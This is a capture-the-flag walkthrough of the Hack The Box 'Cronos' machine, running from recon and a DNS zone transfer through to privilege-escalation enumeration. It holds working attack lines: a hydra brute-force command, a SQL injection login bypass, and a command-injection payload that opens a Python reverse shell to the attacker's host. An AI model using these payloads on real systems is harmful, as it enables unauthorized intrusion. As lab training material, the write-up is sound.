Cracking Cronos - 'Cronos' HTB Writeup
Cracking Cronos - ‘Cronos’ HTB Writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Cronos | 10.10.10.13 | Linux | Medium |
Writeup Contents:
(you can jump to the section using these links)
Initial Recon
Again, we start with our initial recon of the target system. We’ll use the same enumeration automation script we used on ‘Sunday’ & ‘Bounty’ - nmapAutomator. You can find and download the script here on Github.
Let’s run a full scan against the target:
root@kali:/writeups/HTB/cronos/enumeration# nmapautomator 10.10.10.13 all
Running a all scan on 10.10.10.13
Host is likely running Linux
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:33 CST
Nmap scan report for 10.10.10.13
Host is up (0.035s latency).
Not shown: 997 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:33 CST
Nmap scan report for 10.10.10.13
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.82 seconds
----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:34 CST
Nmap scan report for 10.10.10.13
Host is up (0.034s latency).
Not shown: 997 open|filtered ports, 2 closed ports
PORT STATE SERVICE
53/udp open domain
Nmap done: 1 IP address (1 host up) scanned in 5.02 seconds
Making a script scan on UDP ports: 53
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:34 CST
/root/nmapAutomator/nmapAutomator.sh: line 164: 25558 Segmentation fault $nmapType -sCVU --script vulners --script-args mincvss=7.0 -p$(echo "${udpPorts}") -oN nmap/UDP_"$1".nmap "$1"
---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:34 CST
Initiating Parallel DNS resolution of 1 host. at 09:34
Completed Parallel DNS resolution of 1 host. at 09:34, 0.01s elapsed
Initiating SYN Stealth Scan at 09:34
Scanning 10.10.10.13 [65535 ports]
Discovered open port 80/tcp on 10.10.10.13
Discovered open port 22/tcp on 10.10.10.13
Discovered open port 53/tcp on 10.10.10.13
SYN Stealth Scan Timing: About 11.51% done; ETC: 09:38 (0:03:58 remaining)
SYN Stealth Scan Timing: About 22.94% done; ETC: 09:38 (0:03:25 remaining)
SYN Stealth Scan Timing: About 34.36% done; ETC: 09:38 (0:02:54 remaining)
SYN Stealth Scan Timing: About 45.79% done; ETC: 09:38 (0:02:23 remaining)
SYN Stealth Scan Timing: About 57.22% done; ETC: 09:38 (0:01:53 remaining)
SYN Stealth Scan Timing: About 68.64% done; ETC: 09:38 (0:01:23 remaining)
SYN Stealth Scan Timing: About 80.07% done; ETC: 09:38 (0:00:53 remaining)
Completed SYN Stealth Scan at 09:38, 262.70s elapsed (65535 total ports)
Nmap scan report for 10.10.10.13
Host is up (0.029s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 262.78 seconds
Raw packets sent: 131270 (5.776MB) | Rcvd: 206 (9.064KB)
No new ports
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:38 CST
/root/nmapAutomator/nmapAutomator.sh: line 226: 25630 Segmentation fault $nmapType -sV --script vulners --script-args mincvss=7.0 -p$(echo "${ports}") -oN nmap/CVEs_"$1".nmap "$1"
Running Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:38 CST
Nmap scan report for 10.10.10.13
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.18:
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199
| CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333
| CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743
| CVE-2016-8740 5.0 https://vulners.com/cve/CVE-2016-8740
| CVE-2016-4979 5.0 https://vulners.com/cve/CVE-2016-4979
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
| CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
| CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2016-1546 4.3 https://vulners.com/cve/CVE-2016-1546
| CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
|_ CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.27 seconds
---------------------Recon Recommendations----------------------
Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.13:80 -o recon/gobuster_10.10.10.13_80.txt
nikto -host 10.10.10.13:80 | tee recon/nikto_10.10.10.13_80.txt
DNS Recon:
host -l 10.10.10.13 10.10.10.13 | tee recon/hostname_10.10.10.13.txt
dnsrecon -r 10.10.10.0/24 -n 10.10.10.13 | tee recon/dnsrecon_10.10.10.13.txt
dnsrecon -r 127.0.0.0/24 -n 10.10.10.13 | tee recon/dnsrecon-local_10.10.10.13.txt
Which commands would you like to run?
All (Default), dnsrecon, gobuster, host, nikto, Skip <!>
Running Default in (1) s:
---------------------Running Recon Commands----------------------
Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.13:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/01/28 09:44:38 Starting gobuster
===============================================================
http://10.10.10.13:80/.hta (Status: 403) [Size: 290]
http://10.10.10.13:80/.hta.html (Status: 403) [Size: 295]
http://10.10.10.13:80/.hta.php (Status: 403) [Size: 294]
http://10.10.10.13:80/.htpasswd (Status: 403) [Size: 295]
http://10.10.10.13:80/.htpasswd.html (Status: 403) [Size: 300]
http://10.10.10.13:80/.htaccess (Status: 403) [Size: 295]
http://10.10.10.13:80/.htpasswd.php (Status: 403) [Size: 299]
http://10.10.10.13:80/.htaccess.html (Status: 403) [Size: 300]
http://10.10.10.13:80/.htaccess.php (Status: 403) [Size: 299]
http://10.10.10.13:80/index.html (Status: 200) [Size: 12454]
http://10.10.10.13:80/index.html (Status: 200) [Size: 12454]
http://10.10.10.13:80/server-status (Status: 403) [Size: 299]
===============================================================
2020/01/28 09:45:06 Finished
===============================================================
Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.13
+ Target Hostname: 10.10.10.13
+ Target Port: 80
+ Start Time: 2020-01-28 09:45:06 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 30a6, size: 555402443a52b, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-01-28 09:50:20 (GMT-6) (314 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan
=========================
Starting host scan
Using domain server:
Name: 10.10.10.13
Address: 10.10.10.13#53
Aliases:
13.10.10.10.in-addr.arpa domain name pointer ns1.cronos.htb.
Finished host scan
=========================
Starting dnsrecon scan
Traceback (most recent call last):
File "./dnsrecon.py", line 1788, in <module>
main()
File "./dnsrecon.py", line 1522, in main
if check_nxdomain_hijack(entry):
File "./dnsrecon.py", line 292, in check_nxdomain_hijack
answers = res.query(test_name, record_type, tcp=True)
File "/usr/lib/python2.7/dist-packages/dns/resolver.py", line 898, in query
raise NoNameservers(request=request, errors=errors)
dns.resolver.NoNameservers: All nameservers failed to answer the query 9dDF520fb03c84796C61.com. IN A: Server 10.10.10.13 TCP port 53 answered The DNS operation timed out.; Server 10.10.10.13 TCP port 53 answered SERVFAIL
Finished dnsrecon scan
=========================
Starting dnsrecon scan
Traceback (most recent call last):
File "./dnsrecon.py", line 1788, in <module>
main()
File "./dnsrecon.py", line 1522, in main
if check_nxdomain_hijack(entry):
File "./dnsrecon.py", line 292, in check_nxdomain_hijack
answers = res.query(test_name, record_type, tcp=True)
File "/usr/lib/python2.7/dist-packages/dns/resolver.py", line 898, in query
raise NoNameservers(request=request, errors=errors)
dns.resolver.NoNameservers: All nameservers failed to answer the query 8A9b46103f6ceCD4dF7E.com. IN A: Server 10.10.10.13 TCP port 53 answered The DNS operation timed out.; Server 10.10.10.13 TCP port 53 answered SERVFAIL
Finished dnsrecon scan
=========================
---------------------Finished all Nmap scans---------------------
Completed in 16 minute(s) and 57 second(s)
root@kali:/writeups/HTB/cronos/enumeration# nmap -O -osscan-guess 10.10.10.13
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 10:34 CST
Nmap scan report for 10.10.10.13
Host is up (0.030s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (92%), Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.8 - 3.11 (90%), Linux 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds
OK, so we have HTTP and SSH open on their default ports, as well as DNS. What sticks out to me, however, is that DNS appears to be running from TCP, as opposed to the usual UDP. Both are obviously valid, but it’s almsot certain the norm is being deviated from for a reason. We’ll keep that in mind as we go along. This is also a Linux server, which we already knew, probably some version of kernel 3 or 4. Looking at the HTTP information, we see the following: httpd 2.4.18 ((Ubuntu)). A quick Google shows that the particular httpd version is likely associated with Ubuntu Xenial.
Checking out HTTP and DNS
Let’s begin by looking at the content served by HTTP.
On the main landing page, seems we get the Apache2 Ubuntu default page, so perhaps that hints at a misconfiguration we could leverage. Looks like all the pages but the index returned a 403 forbidden status
Let’s take a look at DNS, to see if we can leverage something there to gain access to some of those forbidden files, or potentially provide another foothold.
The fact that DNS is running over TCP still sticks out to me - let’s see if we can run a DNS Zone Transfer, and get more information. A DNS Zone transfer is simply copying part of the DNS config information (a zone) from the host (in this case cronos) to a remote system. Essentially the remote/attacker system simply acts as a secondary DNS server under the primary (Cronos), and asks for a copy of the DNS zone records. This is not a very uncommon or complicated process, as this functionality is often how multiple DNS servers work, one primary and one or more secondaries, however, the ability to act as a secondary DNS server and obtain records without any kind of integrity/authenticity checking is technically a vulnerability and is what makes DNS Zone Transfers often considered an attack if done by an unintended server.
In order to do this, however, we need to know the domain name of the 10.10.10.13 system. Looking at the nslookup man page, you can specify a host to lookup the DNS address for, isntead of using nslookup’s default. As the box is on a private address space and itself is acting as the DNS server, we’ll want to use this option, and specify the box itself as the NS source:
root@kali:/writeups/HTB/cronos/enumeration# nslookup 10.10.10.13 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
So ns1 is probably the primary name server, meaning our overal domain name is likely cronos.htb. Let’s go ahead and add cronos.htb to our /etc/hosts, and see if we can ping the host and resolve to 10.10.10.13. If so, we should be correct and read to move on to the DNS zone transfer.
Once added to our hosts, we can confirm resolution:
root@kali:/writeups/HTB/cronos/enumeration# ping -c3 cronos.htb
PING cronos.htb (10.10.10.13) 56(84) bytes of data.
64 bytes from cronos.htb (10.10.10.13): icmp_seq=1 ttl=63 time=29.0 ms
64 bytes from cronos.htb (10.10.10.13): icmp_seq=2 ttl=63 time=29.8 ms
64 bytes from cronos.htb (10.10.10.13): icmp_seq=3 ttl=63 time=30.5 ms
--- cronos.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 29.021/29.761/30.465/0.590 ms
Interestingly enough, we notice if we go back to the website, and use the domain name that’s now added to our hosts file, the site seems to display properly. So the setup was likely a misconfiguration in either the apache or DNS config.
Quickly checking the site, however, doesn’t reveal anything useful. The links on the page are all to exteranl sites, which are out of the scope of this engagement, and nothing appears useful in the page source.
DNS Zone transfer
Let’s move on to do our Zone Transfer.
We can perform the zone transfer with the following dig command:
dig axfr @10.10.10.13 cronos.htb
; <<>> DiG 9.11.14-3-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 29 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Tue Jan 28 12:05:16 CST 2020
;; XFR size: 7 records (messages 1, bytes 203)
From here we can see further subdomains that are tied to the cronos system. Let’s go ahead and add these to /etc/hosts
as well:
checking the site after zone transfer
root@kali:/writeups/HTB/cronos/enumeration# cat /etc/hosts | grep cronos
10.10.10.13 cronos.htb ns1.cronos.htb admin.cronos.htb www.cronos.htb
Now let’s check out the website again after adding the additional information to the hosts file. As expected, the www prefix redirects to the main cronos.htb site. the ns1 prefix leads us back to the Ubuntu apache config page, which makes sense. That leaves the admin prefix, which is the most interesting anyway.
Looks like we’re presented with an admin login portal, with username and password fields.
gaining access to the admin portal
The page source doesn’t give any clues to the logoin credentials, so let’s try a few defaults first. Trying a few variants of admin/administrator and cronos didn’t seem to yield any results. Let’s give hydra a shot:
First we need to see what kind of HTTP request the page is sending when we submit the login page, and what the username and password fields are. We can do this in either Burp or FireFox/Chrome Developer tools, I’ll use Firefox. I cover this in more detail in anther writeup, but you can Right-Click the page > Inspect Element > Go to the Network tab > Type in data for the login fields > Hit Submit.
From there you should be able to see the HTTP request type, as well as the names of the fields in “Params” tab on the right.
In this case the fields are simply “username” and “password”, and the HTTP method is POST, as shown in the below screenshot. We also see the text “Login Name or Password is invalid,” which we’ll need to pass on to hydra.
I quickly made a small list of users, combining what I thought would be likely candidates, along with entries from /usr/share/wordlists/metasploit/http_default_users.txt
oot@kali:/writeups/HTB/cronos/enumeration# cat users.txt
admin
administrator
cronos
Cronos
laravel
root
htb
HTB
HackTheBox
hackthebox
manager
cisco
apc
pass
security
user
system
sys
wampp
newuser
xampp-dav-unsecure
Now let’s build our hydra comamnd:
hydra -s 80 -V -L users.txt -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:username=^USER^&password=^PASS^&:invalid"
That’s goign to take awhile to run, so while that’s running, let’s try to manually test to see if the login page is vulnerable to SQL injection at all. Normally I’d want to through SQLmap at the page, but since you can’t use that in OSCP, let’s try some manual testing.
After a few minutes messing around with some basic permutations of some manual SQL injection tests, [you can find some exmaples/explanations here][https://www.veracode.com/security/sql-injection]
, we find that the following works:
username:
admin ' -- -
password:
[blank]
Fortunately, we can go ahead and kill our hydra run, then.
This brings us to http://admin.cronos.htb/welcome.php
, which has an apparent network testing functionality, with both ping and traceroute options:
initial foothold
leveraging the Net Tool page for an initial foothold
Let’s go ahead and play with the net tool for a minute and see how it behaves.
On pigng, for example, we can see that it sends a POST request, and the following command is viewable (from Firefox’s Inspect Elements > Network > Params option): ping+-c+1
. One of the first things I always want to check on a text box or input field is if there’s any user input sanitization. So let’s test this out and see if we can get any command execution, or at least some more information to go off of.
In Linux, the semicolon (;) denotes two separate commands on a single line, one run after the other. (command1 && command2 is similar, but would run command2 only if command1 completed with an exit status of 0 (usually success.)) Let’s attempt to run an arbitrary command after the initial ping, so tht the following is in the text box: 8.8.8.8; whaomi
.
We see when we do this, after hitting “Execute!” the following is displayed under the field:
www-data
Great, so we know we can get some command execution. Let’s try to start a netcat listener, and then spawn a bash shell to that port.
Start a listener locally with nc -lvnp 4444
, and then we can use this handy reference to build our shell command. We can tell by running the “which python” command in the Net Tool textbox, that python is installed, so let’s go ahead and try to spawn our shell with that, as it is often seemingly more stable. So we come up with the following for the Net Tool input box:
8.8.8.8; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<VPN IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We get no response from the net tool webpage, but if we look at our listener, we got a shell!
root@kali:/writeups/HTB/cronos/enumeration# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.13] 56198
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/var/www/admin
$
Let’s go ahead and grab the user flag, then enumerate from our new perspective, to see how we can privesc.
$ whoami
www-data
$ pwd
/var/www/admin
$ find / -name user.txt 2>/dev/null
/home/noulis/user.txt
$ cat /home/noulis/user.txt
{feed me hashes =^_^=}
$
Privilege Escalation
further enumeration for PrivEsc
Let’s begin doing some further digging to see what’s running and how we can protentially escalate prvileges:
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Searching for world-writeable files, we find:
$ find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \; 2>/dev/null
drwxrwxrwt 2 root root 40 Jan 28 06:19 /dev/mqueue
drwxrwxrwt 2 root root 40 Jan 28 06:19 /dev/shm
drwxrwxr-x 2 root utmp 40 Jan 28 06:19 /run/screen
drwxrwxr-x 2 root bind 80 Jan 28 06:22 /run/named
drwxrwxrwt 5 root root 100 Jan 28 06:22 /run/lock
drwxrwxrwt 9 root root 4096 Jan 28 22:37 /tmp
drwxrwxrwt 2 root root 4096 Jan 28 06:19 /tmp/.XIM-unix
drwxrwxrwt 2 root root 4096 Jan 28 06:19 /tmp/.ICE-unix
drwxrwxrwt 2 root root 4096 Jan 28 06:19 /tmp/.Test-unix
drwxrwxrwt 2 root root 4096 Jan 28 06:19 /tmp/.font-unix
drwxrwxrwt 2 root root 4096 Jan 28 06:19 /tmp/.X11-unix
drwxrwxr-x 10 root syslog 4096 Jan 28 06:25 /var/log
drwxrwsr-x 2 root mail 4096 Feb 15 2017 /var/mail
drwxrwxrwt 2 root root 4096 Mar 22 2017 /var/crash
drwxrwx--T 2 daemon daemon 4096 Jan 15 2016 /var/spool/cron/atspool
drwxrwx--T 2 daemon daemon 4096 Mar 22 2017 /var/spool/cron/atjobs
drwx-wx--T 2 root crontab 4096 Apr 9 2017 /var/spool/cron/crontabs
drwxrwxr-x 2 root bind 4096 Apr 9 2017 /var/lib/bind
drwx-wx-wt 2 root root 7180288 Jan 28 22:09 /var/lib/php/sessions
drwxrwxrwt 3 root root 4096 Jan 28 06:19 /var/tmp
drwxrwsr-x 2 root staff 4096 Apr 12 2016 /var/local
drwxrwxr-x 2 root bind 4096 Jan 28 22:25 /var/cache/bind
drwxrwsr-x 3 root staff 4096 Mar 22 2017 /usr/local/lib/python3.5
drwxrwsr-x 2 root staff 4096 Feb 15 2017 /usr/local/lib/python3.5/dist-packages
drwxrwsr-x 4 root staff 4096 Apr 9 2017 /usr/local/lib/python2.7
drwxrwsr-x 2 root staff 4096 Apr 9 2017 /usr/local/lib/python2.7/dist-packages
drwxrwsr-x 2 root staff 4096 Apr 9 2017 /usr/local/lib/python2.7/site-packages
drwxrwsr-x 2 root staff 4096 Apr 9 2017 /usr/local/share/fonts
drwxrwsr-x 6 root staff 4096 Mar 22 2017 /usr/local/share/xml
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/xml/declaration
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/xml/entities
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/xml/misc
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/xml/schema
drwxrwsr-x 7 root staff 4096 Mar 22 2017 /usr/local/share/sgml
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/sgml/declaration
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/sgml/entities
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/sgml/misc
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/sgml/dtd
drwxrwsr-x 2 root staff 4096 Mar 22 2017 /usr/local/share/sgml/stylesheet
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/es
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/es/man1
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/fr
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/fr/man1
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/ja
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/ja/man1
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/de
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/de/man1
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/it
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/it/man1
drwxrwxr-x 5 root root 4096 Mar 22 2017 /usr/share/man/pl
drwxrwxr-x 2 root root 4096 Mar 22 2017 /usr/share/man/pl/man1
Nothing seemingly too crazy, /var/lib/bind apparently relates to DNS, so that could be a potential path to go down. Before we get too far, though, let’s run a script to do some auto enumeration for privesc. We’ll try a shell script called linux-smart-enumeration.
Let’s serve the directory with the script over simpleHTTP locally, then transfer it to the target system:
root@kali:/recon/linux-smart-enumeration# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
and from the target system, let’s grab the file locally.
$ which wget
/usr/bin/wget
$ wget http://10.10.14.50:8080/lse.sh
--2020-01-28 22:45:14-- http://10.10.14.50:8080/lse.sh
Connecting to 10.10.14.50:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34316 (34K) [text/x-sh]
Saving to: 'lse.sh'
0K .......... .......... .......... ... 100% 532K=0.06s
2020-01-28 22:45:14 (532 KB/s) - 'lse.sh' saved [34316/34316]
Now let’s run it:
$ chmod +x lse.sh
$ ./lse.sh
---
If you know the current user password, write it here for better results:
---
LSE Version: 1.16
User: www-data
User ID: 33
Password: none
Home: /var/www
Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
umask: 0022
Hostname: cronos
Linux: 4.4.0-72-generic
Distribution: Ubuntu 16.04.2 LTS
Architecture: x86_64
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ nope
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip
[!] fst060 Can we write to any setgid binary?.............................. skip
[*] fst070 Can we read /root?.............................................. nope
[*] fst080 Can we read subdirectories under /home?......................... yes!
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
[*] fst110 Other interesting files in home directories..................... nope
[!] fst120 Are there any credentials in fstab/mtab?........................ nope
[*] fst130 Does 'www-data' have mail?...................................... nope
[!] fst140 Can we access other users mail?................................. nope
[*] fst150 Looking for GIT/SVN repositories................................ yes!
[!] fst160 Can we write to critical files?................................. nope
[!] fst170 Can we write to critical directories?........................... nope
[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope
[i] fst500 Files owned by user 'www-data'.................................. skip
[i] fst510 SSH files anywhere.............................................. skip
[i] fst520 Check hosts.equiv file and its contents......................... skip
[i] fst530 List NFS server shares.......................................... skip
[i] fst540 Dump fstab file................................................. skip
=================================================================( system )=====
[i] sys000 Who is logged in................................................ skip
[i] sys010 Last logged in users............................................ skip
[!] sys020 Does the /etc/passwd have hashes?............................... nope
[!] sys030 Can we read /etc/shadow file?................................... nope
[!] sys030 Can we read /etc/shadow- file?.................................. nope
[!] sys030 Can we read /etc/shadow~ file?.................................. nope
[!] sys030 Can we read /etc/master.passwd file?............................ nope
[*] sys040 Check for other superuser accounts.............................. nope
[*] sys050 Can root user log in via SSH?................................... nope
[i] sys060 List available shells........................................... skip
[i] sys070 System umask in /etc/login.defs................................. skip
[i] sys080 System password policies in /etc/login.defs..................... skip
===============================================================( security )=====
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... yes!
[!] sec020 Can we write to a binary with caps?............................. nope
[!] sec030 Do we have all caps in any binary?.............................. nope
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
========================================================( recurrent tasks )=====
[*] ret000 User crontab.................................................... nope
[!] ret010 Cron tasks writable by user..................................... nope
[*] ret020 Cron jobs....................................................... yes!
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
[!] ret060 Can we write to executable paths present in cron jobs........... yes!
---
/etc/crontab:* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
---
[i] ret400 Cron files...................................................... skip
[*] ret500 User systemd timers............................................. nope
